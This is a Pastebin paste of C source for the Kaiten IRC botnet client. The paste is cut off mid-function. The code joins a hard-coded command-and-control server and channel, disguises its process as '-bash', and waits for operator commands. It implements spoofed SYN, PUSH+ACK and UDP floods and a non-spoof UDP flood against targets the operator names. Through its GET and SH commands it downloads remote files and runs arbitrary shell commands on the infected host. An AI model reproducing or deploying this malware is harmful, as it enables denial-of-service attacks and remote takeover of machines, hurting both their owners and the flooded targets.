Zekahs

kaiten

Aug 4th, 2017
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.99 KB | None | 0 0
  1. /*******************************************************************************
  2. * This is a IRC based distributed denial of service client. It connects to *
  3. * the server specified below and accepts commands via the channel specified. *
  4. * The syntax is: *
  5. * !<nick> <command> *
  6. * You send this message to the channel that is defined later in this code. *
  7. * Where <nick> is the nickname of the client (which can include wildcards) *
  8. * and the command is the command that should be sent. For example, if you *
  9. * want to tell all the clients with the nickname starting with N, to send you *
  10. * the help message, you type in the channel: *
  11. * !N* HELP *
  12. * That will send you a list of all the commands. You can also specify an *
  13. * astrick alone to make all client do a specific command: *
  14. * !* SH uname -a *
  15. * There are a number of commands that can be sent to the client: *
  16. * TSUNAMI <target> <secs> = A PUSH+ACK flooder *
  17. * PAN <target> <port> <secs> = A SYN flooder *
  18. * UDP <target> <port> <secs> = An UDP flooder *
  19. * UNKNOWN <target> <secs> = Another non-spoof udp flooder *
  20. * NICK <nick> = Changes the nick of the client *
  21. * SERVER <server> = Changes servers *
  22. * GETSPOOFS = Gets the current spoofing *
  23. * SPOOFS <subnet> = Changes spoofing to a subnet *
  24. * DISABLE = Disables all packeting from this bot *
  25. * ENABLE = Enables all packeting from this bot *
  26. * KILL = Kills the knight *
  27. * GET <http address> <save as> = Downloads a file off the web *
  28. * VERSION = Requests version of knight *
  29. * KILLALL = Kills all current packeting *
  30. * HELP = Displays this *
  31. * IRC <command> = Sends this command to the server *
  32. * SH <command> = Executes a command *
  33. * Remember, all these commands must be prefixed by a ! and the nickname that *
  34. * you want the command to be sent to (can include wildcards). There are no *
  35. * spaces in between the ! and the nickname, and there are no spaces before *
  36. * the ! *
  37. * *
  38. * - contem on efnet *
  39. *******************************************************************************/
  40. ////////////////////////////////////////////////////////////////////////////////
  41. // EDIT THESE //
  42. ////////////////////////////////////////////////////////////////////////////////
  43. #define STARTUP // Start on startup?
  44. #undef IDENT // Only enable this if you absolutely have to
  45. #define FAKENAME "-bash" // What you want this to hide as
  46. #define CHAN "##darkpaste" // Channel to join
  47. #define KEY "bleh" // The key of the channel
  48. int numservers=1; // Must change this to equal number of servers down there
  49. char *servers[] = { // List the servers in that format, always end in (void*)0
  50. "185.11.146.234",
  51. (void*)0
  52. };
  53. ////////////////////////////////////////////////////////////////////////////////
  54. // STOP HERE! //
  55. ////////////////////////////////////////////////////////////////////////////////
  56. #include <stdarg.h>
  57. #include <errno.h>
  58. #include <stdio.h>
  59. #include <stdlib.h>
  60. #include <string.h>
  61. #include <sys/types.h>
  62. #include <sys/stat.h>
  63. #include <fcntl.h>
  64. #include <strings.h>
  65. #include <netinet/in.h>
  66. #include <unistd.h>
  67. #include <sys/time.h>
  68. #include <sys/socket.h>
  69. #include <signal.h>
  70. #include <arpa/inet.h>
  71. #include <netdb.h>
  72. #include <time.h>
  73. #include <sys/wait.h>
  74. #include <sys/ioctl.h>
  75. int sock,changeservers=0;
  76. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  77. unsigned int *pids;
  78. unsigned long spoofs=0, spoofsm=0, numpids=0;
  79. int strwildmatch(const char* pattern, const char* string) {
  80. switch(*pattern) {
  81. case '\0': return *string;
  82. case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  83. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  84. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  85. }
  86. }
  87. int Send(int sock, char *words, ...) {
  88. static char textBuffer[1024];
  89. va_list args;
  90. va_start(args, words);
  91. vsprintf(textBuffer, words, args);
  92. va_end(args);
  93. return write(sock,textBuffer,strlen(textBuffer));
  94. }
  95. int mfork(char *sender) {
  96. unsigned int parent, *newpids, i;
  97. if (disabled == 1) {
  98. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  99. return 1;
  100. }
  101. parent=fork();
  102. if (parent <= 0) return parent;
  103. numpids++;
  104. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  105. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  106. newpids[numpids-1]=parent;
  107. free(pids);
  108. pids=newpids;
  109. return parent;
  110. }
  111. unsigned long getspoof() {
  112. if (!spoofs) return rand();
  113. if (spoofsm == 1) return ntohl(spoofs);
  114. return ntohl(spoofs+(rand() % spoofsm)+1);
  115. }
  116. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  117. char *makestring() {
  118. char *tmp;
  119. int len=(rand()%5)+4,i;
  120. FILE *file;
  121. tmp=(char*)malloc(len+1);
  122. memset(tmp,0,len+1);
  123. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  124. else {
  125. int a=((rand()*rand())%45402)+1;
  126. char buf[1024];
  127. for (i=0;i<a;i++) fgets(buf,1024,file);
  128. memset(buf,0,1024);
  129. fgets(buf,1024,file);
  130. filter(buf);
  131. memcpy(tmp,buf,len);
  132. fclose(file);
  133. }
  134. return tmp;
  135. }
  136. void identd() {
  137. int sockname,sockfd,sin_size,tmpsock,i;
  138. struct sockaddr_in my_addr,their_addr;
  139. char szBuffer[1024];
  140. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  141. my_addr.sin_family = AF_INET;
  142. my_addr.sin_port = htons(113);
  143. my_addr.sin_addr.s_addr = INADDR_ANY;
  144. memset(&(my_addr.sin_zero), 0, 8);
  145. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  146. if (listen(sockfd, 1) == -1) return;
  147. if (fork() == 0) return;
  148. sin_size = sizeof(struct sockaddr_in);
  149. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  150. for(;;) {
  151. fd_set bla;
  152. struct timeval timee;
  153. FD_ZERO(&bla);
  154. FD_SET(tmpsock,&bla);
  155. timee.tv_sec=timee.tv_usec=60;
  156. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  157. if (FD_ISSET(tmpsock,&bla)) break;
  158. }
  159. i = recv(tmpsock,szBuffer,1024,0);
  160. if (i <= 0 || i >= 20) exit(0);
  161. szBuffer[i]=0;
  162. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  163. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  164. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  165. close(tmpsock);
  166. close(sockfd);
  167. exit(0);
  168. }
  169. long pow(long a, long b) {
  170. if (b == 0) return 1;
  171. if (b == 1) return a;
  172. return a*pow(a,b-1);
  173. }
  174. u_short in_cksum(u_short *addr, int len) {
  175. register int nleft = len;
  176. register u_short *w = addr;
  177. register int sum = 0;
  178. u_short answer =0;
  179. while (nleft > 1) {
  180. sum += *w++;
  181. nleft -= 2;
  182. }
  183. if (nleft == 1) {
  184. *(u_char *)(&answer) = *(u_char *)w;
  185. sum += answer;
  186. }
  187. sum = (sum >> 16) + (sum & 0xffff);
  188. sum += (sum >> 16);
  189. answer = ~sum;
  190. return(answer);
  191. }
  192. void get(int sock, char *sender, int argc, char **argv) {
  193. int sock2,i,d;
  194. struct sockaddr_in server;
  195. unsigned long ipaddr;
  196. char buf[1024];
  197. FILE *file;
  198. unsigned char bufm[4096];
  199. if (mfork(sender) != 0) return;
  200. if (argc < 2) {
  201. Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  202. exit(0);
  203. }
  204. if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  205. Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  206. exit(0);
  207. }
  208. if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  209. else strcpy(buf,argv[1]);
  210. for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  211. buf[i]=0;
  212. server.sin_family = AF_INET;
  213. server.sin_port = htons(80);
  214. if ((ipaddr = inet_addr(buf)) == -1) {
  215. struct hostent *hostm;
  216. if ((hostm=gethostbyname(buf)) == NULL) {
  217. Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  218. exit(0);
  219. }
  220. memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  221. }
  222. else server.sin_addr.s_addr = ipaddr;
  223. memset(&(server.sin_zero), 0, 8);
  224. if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  225. Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  226. exit(0);
  227. }
  228.  
  229. Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  230. Send(sock,"NOTICE %s :Receiving file.\n",sender);
  231. file=fopen(argv[2],"wb");
  232. while(1) {
  233. int i;
  234. if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  235. if (i < 4096) bufm[i]=0;
  236. for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  237. for (d+=4;d<i;d++) fputc(bufm[d],file);
  238. goto done;
  239. }
  240. }
  241. done:
  242. Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  243. while(1) {
  244. int i,d;
  245. if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  246. if (i < 4096) bufm[i]=0;
  247. for (d=0;d<i;d++) fputc(bufm[d],file);
  248. }
  249. fclose(file);
  250. close(sock2);
  251. exit(0);
  252. }
  253. void getspoofs(int sock, char *sender, int argc, char **argv) {
  254. unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  255. if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  256. else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  257. }
  258. void version(int sock, char *sender, int argc, char **argv) {
  259. Send(sock,"NOTICE %s :Kaiten wa goraku\n",sender);
  260. }
  261. void nickc(int sock, char *sender, int argc, char **argv) {
  262. if (argc != 1) {
  263. Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  264. return;
  265. }
  266. if (strlen(argv[1]) >= 10) {
  267. Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  268. return;
  269. }
  270. Send(sock,"NICK %s\n",argv[1]);
  271. }
  272. void disable(int sock, char *sender, int argc, char **argv) {
  273. if (argc != 1) {
  274. Send(sock,"NOTICE %s :DISABLE <pass>\n",sender);
  275. Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  276. return;
  277. }
  278. if (disabled) {
  279. Send(sock,"NOTICE %s :Already disabled.\n",sender);
  280. return;
  281. }
  282. if (strlen(argv[1]) > 254) {
  283. Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
  284. return;
  285. }
  286. disabled=1;
  287. memset(dispass,0,256);
  288. strcpy(dispass,argv[1]);
  289. Send(sock,"NOTICE %s :Disable sucessful.\n");
  290. }
  291. void enable(int sock, char *sender, int argc, char **argv) {
  292. if (argc != 1) {
  293. Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  294. Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  295. return;
  296. }
  297. if (!disabled) {
  298. Send(sock,"NOTICE %s :Already enabled.\n",sender);
  299. return;
  300. }
  301. if (strcasecmp(dispass,argv[1])) {
  302. Send(sock,"NOTICE %s :Wrong password\n",sender);
  303. return;
  304. }
  305. disabled=0;
  306. Send(sock,"NOTICE %s :Password correct.\n",sender);
  307. }
  308. void spoof(int sock, char *sender, int argc, char **argv) {
  309. char ip[256];
  310. int i, num;
  311. unsigned long uip;
  312. if (argc != 1) {
  313. Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  314. spoofs=0;
  315. spoofsm=0;
  316. return;
  317. }
  318. if (strlen(argv[1]) > 16) {
  319. Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  320. return;
  321. }
  322. strcpy(ip,argv[1]);
  323. if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  324. for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  325. num=-(num-4);
  326. for (i=0;i<num;i++) strcat(ip,".0");
  327. uip=inet_network(ip);
  328. if (num == 0) spoofsm=1;
  329. else spoofsm=pow(256,num);
  330. spoofs=uip;
  331. }
  332. struct iphdr {
  333. unsigned int ihl:4, version:4;
  334. unsigned char tos;
  335. unsigned short tot_len;
  336. unsigned short id;
  337. unsigned short frag_off;
  338. unsigned char ttl;
  339. unsigned char protocol;
  340. unsigned short check;
  341. unsigned long saddr;
  342. unsigned long daddr;
  343. };
  344. struct udphdr {
  345. unsigned short source;
  346. unsigned short dest;
  347. unsigned short len;
  348. unsigned short check;
  349. };
  350. struct tcphdr {
  351. unsigned short source;
  352. unsigned short dest;
  353. unsigned long seq;
  354. unsigned long ack_seq;
  355. unsigned short res1:4, doff:4;
  356. unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  357. unsigned short window;
  358. unsigned short check;
  359. unsigned short urg_ptr;
  360. };
  361. struct send_tcp {
  362. struct iphdr ip;
  363. struct tcphdr tcp;
  364. char buf[20];
  365. };
  366. struct pseudo_header {
  367. unsigned int source_address;
  368. unsigned int dest_address;
  369. unsigned char placeholder;
  370. unsigned char protocol;
  371. unsigned short tcp_length;
  372. struct tcphdr tcp;
  373. char buf[20];
  374. };
  375. unsigned int host2ip(char *sender,char *hostname) {
  376. static struct in_addr i;
  377. struct hostent *h;
  378. if((i.s_addr = inet_addr(hostname)) == -1) {
  379. if((h = gethostbyname(hostname)) == NULL) {
  380. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  381. exit(0);
  382. }
  383. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  384. }
  385. return i.s_addr;
  386. }
  387. void udp(int sock, char *sender, int argc, char **argv) {
  388. unsigned int port,i=0;
  389. unsigned long psize,target,secs;
  390. struct sockaddr_in s_in;
  391. struct iphdr *ip;
  392. struct udphdr *udp;
  393. char buf[1500],*str;
  394. int get;
  395. time_t start=time(NULL);
  396. if (mfork(sender) != 0) return;
  397. if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  398. if (argc < 3) {
  399. Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  400. exit(1);
  401. }
  402. target = host2ip(sender,argv[1]);
  403. port = atoi(argv[2]);
  404. secs = atol(argv[3]);
  405. ip=(void*)buf;
  406. udp=(void*)(buf+sizeof(struct iphdr));
  407. str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  408. memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  409. Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  410. ip->ihl = 5;
  411. ip->version = 4;
  412. ip->tos = 0;
  413. ip->tot_len = 1500;
  414. ip->frag_off = 0;
  415. ip->protocol = 17;
  416. ip->ttl = 64;
  417. ip->daddr = target;
  418. udp->len = htons(psize);
  419. s_in.sin_family = AF_INET;
  420. s_in.sin_addr.s_addr = target;
  421. for (;;) {
  422. udp->source = rand();
  423. if (port) udp->dest = htons(port);
  424. else udp->dest = rand();
  425. udp->check = in_cksum((u_short *)buf,1500);
  426. ip->saddr = getspoof();
  427. ip->id = rand();
  428. ip->check = in_cksum((u_short *)buf,1500);
  429. s_in.sin_port = udp->dest;
  430. sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  431. if (i >= 50) {
  432. if (time(NULL) >= start+secs) exit(0);
  433. i=0;
  434. }
  435. i++;
  436. }
  437. }
  438. void pan(int sock, char *sender, int argc, char **argv) {
  439. struct send_tcp send_tcp;
  440. struct pseudo_header pseudo_header;
  441. struct sockaddr_in sin;
  442. unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  443. unsigned int psize=20, source, dest, check;
  444. unsigned long saddr, daddr,secs;
  445. int get;
  446. time_t start=time(NULL);
  447. if (mfork(sender) != 0) return;
  448. if (argc < 3) {
  449. Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  450. exit(1);
  451. }
  452. if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  453. {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  454. daddr=host2ip(sender,argv[1]);
  455. secs=atol(argv[3]);
  456. Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  457. send_tcp.ip.ihl = 5;
  458. send_tcp.ip.version = 4;
  459. send_tcp.ip.tos = 16;
  460. send_tcp.ip.frag_off = 64;
  461. send_tcp.ip.ttl = 64;
  462. send_tcp.ip.protocol = 6;
  463. send_tcp.tcp.ack_seq = 0;
  464. send_tcp.tcp.doff = 10;
  465. send_tcp.tcp.res1 = 0;
  466. send_tcp.tcp.cwr = 0;
  467. send_tcp.tcp.ece = 0;
  468. send_tcp.tcp.urg = 0;
  469. send_tcp.tcp.ack = 0;
  470. send_tcp.tcp.psh = 0;
  471. send_tcp.tcp.rst = 0;
  472. send_tcp.tcp.fin = 0;
  473. send_tcp.tcp.syn = 1;
  474. send_tcp.tcp.window = 30845;
  475. send_tcp.tcp.urg_ptr = 0;
  476. dest=htons(atoi(argv[2]));
  477. while(1) {
  478. source=rand();
  479. if (atoi(argv[2]) == 0) dest=rand();
  480. saddr=getspoof();
  481. send_tcp.ip.tot_len = htons(40+psize);
  482. send_tcp.ip.id = rand();
  483. send_tcp.ip.saddr = saddr;
  484. send_tcp.ip.daddr = daddr;
  485. send_tcp.ip.check = 0;
  486. send_tcp.tcp.source = source;
  487. send_tcp.tcp.dest = dest;
  488. send_tcp.tcp.seq = rand();
  489. send_tcp.tcp.check = 0;
  490. sin.sin_family = AF_INET;
  491. sin.sin_port = dest;
  492. sin.sin_addr.s_addr = send_tcp.ip.daddr;
  493. send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  494. check = rand();
  495. send_tcp.buf[9]=((char*)&check)[0];
  496. send_tcp.buf[10]=((char*)&check)[1];
  497. send_tcp.buf[11]=((char*)&check)[2];
  498. send_tcp.buf[12]=((char*)&check)[3];
  499. pseudo_header.source_address = send_tcp.ip.saddr;
  500. pseudo_header.dest_address = send_tcp.ip.daddr;
  501. pseudo_header.placeholder = 0;
  502. pseudo_header.protocol = IPPROTO_TCP;
  503. pseudo_header.tcp_length = htons(20+psize);
  504. bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  505. bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  506. send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  507. sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  508. if (a >= 50) {
  509. if (time(NULL) >= start+secs) exit(0);
  510. a=0;
  511. }
  512. a++;
  513. }
  514. close(get);
  515. exit(0);
  516. }
  517. void tsunami(int sock, char *sender, int argc, char **argv) {
  518. struct send_tcp send_tcp;
  519. struct pseudo_header pseudo_header;
  520. struct sockaddr_in sin;
  521. unsigned int psize=1400, check,i;
  522. unsigned long saddr, daddr,secs;
  523. int get;
  524. time_t start=time(NULL);
  525. if (mfork(sender) != 0) return;
  526. if (argc < 2) {
  527. Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  528. exit(1);
  529. }
  530. secs=atol(argv[2]);
  531. if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  532. srand(time(NULL) ^ getpid());
  533. memset(send_tcp.buf,rand(),psize);
  534. daddr=host2ip(sender,argv[1]);
  535. Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  536. while(1) {
  537. saddr=getspoof();
  538. send_tcp.ip.ihl = 5;
  539. send_tcp.ip.version = 4;
  540. send_tcp.ip.tos = 16;
  541. send_tcp.ip.tot_len = htons(40+psize);
  542. send_tcp.ip.id = rand();
  543. send_tcp.ip.frag_off = 64;
  544. send_tcp.ip.ttl = 64;
  545. send_tcp.ip.protocol = 6;
  546. send_tcp.ip.check = 0;
  547. send_tcp.ip.saddr = saddr;
  548. send_tcp.ip.daddr = daddr;
  549. send_tcp.tcp.source = rand();
  550. send_tcp.tcp.dest = rand();
  551. send_tcp.tcp.seq = rand();
  552. send_tcp.tcp.ack_seq = rand();
  553. send_tcp.tcp.doff = 5;
  554. send_tcp.tcp.res1 = 0;
  555. send_tcp.tcp.cwr = 0;
  556. send_tcp.tcp.ece = 0;
  557. send_tcp.tcp.urg = 0;
  558. send_tcp.tcp.ack = 1;
  559. send_tcp.tcp.psh = 1;
  560. send_tcp.tcp.rst = 0;
  561. send_tcp.tcp.fin = 0;
  562. send_tcp.tcp.syn = 0;
  563. send_tcp.tcp.window = 30845;
  564. send_tcp.tcp.check = 0;
  565. send_tcp.tcp.urg_ptr = 0;
  566. sin.sin_family = AF_INET;
  567. sin.sin_port = send_tcp.tcp.dest;
  568. sin.sin_addr.s_addr = send_tcp.ip.daddr;
  569. send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  570. check = in_cksum((unsigned short *)&send_tcp, 40);
  571. pseudo_header.source_address = send_tcp.ip.saddr;
  572. pseudo_header.dest_address = send_tcp.ip.daddr;
  573. pseudo_header.placeholder = 0;
  574. pseudo_header.protocol = IPPROTO_TCP;
  575. pseudo_header.tcp_length = htons(20+psize);
  576. bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  577. bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  578. send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  579. sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  580. if (i >= 50) {
  581. if (time(NULL) >= start+secs) break;
  582. i=0;
  583. }
  584. i++;
  585. }
  586. close(get);
  587. exit(0);
  588. }
  589. void unknown(int sock, char *sender, int argc, char **argv) {
  590. int flag=1,fd,i;
  591. unsigned long secs;
  592. char *buf=(char*)malloc(9216);
  593. struct hostent *hp;
  594. struct sockaddr_in in;
  595. time_t start=time(NULL);
  596. if (mfork(sender) != 0) return;
  597. if (argc < 2) {
  598. Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  599. exit(1);
  600. }
  601. secs=atol(argv[2]);
  602. memset((void*)&in,0,sizeof(struct sockaddr_in));
  603. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  604. in.sin_family = AF_INET;
  605. Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  606. while(1) {
  607. in.sin_port = rand();
  608. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  609. else {
  610. flag=1;
  611. ioctl(fd,FIONBIO,&flag);
  612. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  613. close(fd);
  614. }
  615. if (i >= 50) {
  616. if (time(NULL) >= start+secs) break;
  617. i=0;
  618. }
  619. i++;
  620. }
  621. close(fd);
  622. exit(0);
  623. }
  624. void move(int sock, char *sender, int argc, char **argv) {
  625. if (argc < 1) {
  626. Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  627. exit(1);
  628. }
  629. server=strdup(argv[1]);
  630. changeservers=1;
  631. close(sock);
  632. }
  633. void help(int sock, char *sender, int argc, char **argv) {
  634. if (mfork(sender) != 0) return;
  635. Send(sock,"NOTICE %s :TSUNAMI <target> <secs> = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
  636. Send(sock,"NOTICE %s :PAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
  637. Send(sock,"NOTICE %s :UDP <target> <port> <secs> = A udp flooder\n",sender); sleep(2);
  638. Send(sock,"NOTICE %s :UNKNOWN <target> <secs> = Another non-spoof udp flooder\n",sender); sleep(2);
  639.  
  640. Send(sock,"NOTICE %s :NICK <nick> = Changes the nick of the client\n",sender); sleep(2);
  641. Send(sock,"NOTICE %s :SERVER <server> = Changes servers\n",sender); sleep(2);
  642. Send(sock,"NOTICE %s :GETSPOOFS = Gets the current spoofing\n",sender); sleep(2);
  643. Send(sock,"NOTICE %s :SPOOFS <subnet> = Changes spoofing to a subnet\n",sender); sleep(2);
  644.  
  645. Send(sock,"NOTICE %s :DISABLE = Disables all packeting from this client\n",sender); sleep(2);
  646. Send(sock,"NOTICE %s :ENABLE = Enables all packeting from this client\n",sender); sleep(2);
  647.  
  648. Send(sock,"NOTICE %s :KILL = Kills the client\n",sender); sleep(2);
  649. Send(sock,"NOTICE %s :GET <http address> <save as> = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
  650. Send(sock,"NOTICE %s :VERSION = Requests version of client\n",sender); sleep(2);
  651. Send(sock,"NOTICE %s :KILLALL = Kills all current packeting\n",sender); sleep(2);
  652. Send(sock,"NOTICE %s :HELP = Displays this\n",sender);
  653.  
  654. Send(sock,"NOTICE %s :IRC <command> = Sends this command to the server\n",sender); sleep(2);
  655. Send(sock,"NOTICE %s :SH <command> = Executes a command\n",sender); sleep(2);
  656. exit(0);
  657. }
  658. void killall(int sock, char *sender, int argc, char **argv) {
  659. unsigned long i;
  660. for (i=0;i<numpids;i++) {
  661. if (pids[i] != 0 && pids[i] != getpid()) {
  662. if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  663. kill(pids[i],9);
  664. }
  665. }
  666. }
  667. void killd(int sock, char *sender, int argc, char **argv) {
  668. if (!disable) kill(0,9);
  669. else Send(sock,"NOTICE %s :Unable to comply.\n");
  670. }
  671. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  672. { "TSUNAMI", tsunami },
  673. { "PAN", pan },
  674. { "UDP", udp },
  675. { "UNKNOWN", unknown },
  676.  
  677. { "NICK", nickc },
  678. { "SERVER", move },
  679. { "GETSPOOFS", getspoofs },
  680. { "SPOOFS", spoof },
  681.  
  682. { "DISABLE", disable },
  683. { "ENABLE", enable },
  684.  
  685. { "KILL", killd },
  686. { "GET", get },
  687. { "VERSION", version },
  688. { "KILLALL", killall },
  689. { "HELP", help },
  690. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  691. void _PRIVMSG(int sock, char *sender, char *str) {
  692. int i;
  693. char *to, *message;
  694. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  695. str[i]=0;
  696. to=str;
  697. message=str+i+2;
  698. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  699. sender[i]=0;
  700. if (*message == '!' && !strcasecmp(to,chan)) {
  701. char *params[12], name[1024]={0};
  702. int num_params=0, m;
  703. message++;
  704. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  705. message[i]=0;
  706. if (strwildmatch(message,nick)) return;
  707. message+=i+1;
  708. if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  709. if (!strncmp(message,"SH ",3)) {
  710. char buf[1024];
  711. FILE *command;
  712. if (mfork(sender) != 0) return;
  713. memset(buf,0,1024);
  714. sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  715. command=popen(buf,"r");
  716. while(!feof(command)) {
  717. memset(buf,0,1024);
  718. fgets(buf,1024,command);
  719. Send(sock,"NOTICE %s :%s\n",sender,buf);
  720. sleep(1);
  721. }
  722. pclose(command);
  723. exit(0);
  724. }
  725. m=strlen(message);
  726. for (i=0;i<m;i++) {
  727. if (*message == ' ' || *message == 0) break;
  728. name[i]=*message;
  729. message++;
  730. }
  731. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  732. num_params++;
  733. if (num_params > 10) num_params=10;
  734. params[0]=name;
  735. params[num_params+1]="\0";
  736. m=1;
  737. while (*message != 0) {
  738. message++;
  739. if (m >= num_params) break;
  740. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  741. params[m]=(char*)malloc(i+1);
  742. strncpy(params[m],message,i);
  743. params[m][i]=0;
  744. m++;
  745. message+=i;
  746. }
  747. for (m=0; flooders[m].cmd != (char *)0; m++) {
  748. if (!strcasecmp(flooders[m].cmd,name)) {
  749. flooders[m].func(sock,sender,num_params-1,params);
  750. for (i=1;i<num_params;i++) free(params[i]);
  751. return;
  752. }
  753. }
  754. }
  755. }
  756. void _376(int sock, char *sender, char *str) {
  757. Send(sock,"MODE %s -xi\n",nick);
  758. Send(sock,"JOIN %s :%s\n",chan,key);
  759. Send(sock,"WHO %s\n",nick);
  760. }
  761. void _PING(int sock, char *sender, char *str) {
  762. Send(sock,"PONG %s\n",str);
  763. }
  764. void _352(int sock, char *sender, char *str) {
  765. int i,d;
  766. char *msg=str;
  767. struct hostent *hostm;
